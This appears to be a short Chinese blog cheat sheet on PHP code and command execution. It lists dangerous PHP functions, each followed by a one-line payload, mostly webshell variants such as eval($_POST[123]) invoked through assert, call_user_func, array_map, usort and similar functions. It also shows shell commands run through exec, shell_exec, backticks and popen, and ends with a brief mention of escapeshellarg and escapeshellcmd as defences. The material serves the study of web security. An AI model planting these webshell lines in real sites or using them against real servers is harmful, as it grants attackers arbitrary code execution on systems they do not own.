代码执行

eval

paylaod:eval($_POST[123]);

assert()

payload:assert($_POST[123]);

call_user_func()和call_user_func_array()

payload:call_user_func('assert','eval($_POST[123])');

payload:call_user_func_array('assert',['eval($_POST[123])']);

array_map()

payload:array_map('assert',['eval($_POST[123])']);

array_filter()

payload:array_filter(['eval($_POST[123])'],'assert');

array_reduce()

payload:array_reduce([1,2],'assert','phpinfo()');

create_function()

payload:$a=create_function('','eval($_POST[123]);');  echo $a();

usort()和uasort()

payload:$arr=[1,'eval($_POST[123])']; usort($arr,'assert');

preg_replace()

命令执行

system()

passthru()

exec()

payload:$arr=[]; echo exec(ipconfig,$arr); var_dump($arr);

shell_exec()

payload:echo shell_exec(ipconfig);

反引号``

payload:echo `ipconfig`;

popen()

payload:$fp=popen(whoami,'r'); while(!feof($fp)){$content.=fgetss($fp);} echo $content;

proc_open()

命令连接符

防御命令执行

escapeshellarg()

escapeshellarg($_GET['cmd']);   

escapeshellcmd()

注：如有侵权请联系删除

   学习更多技术，关注我：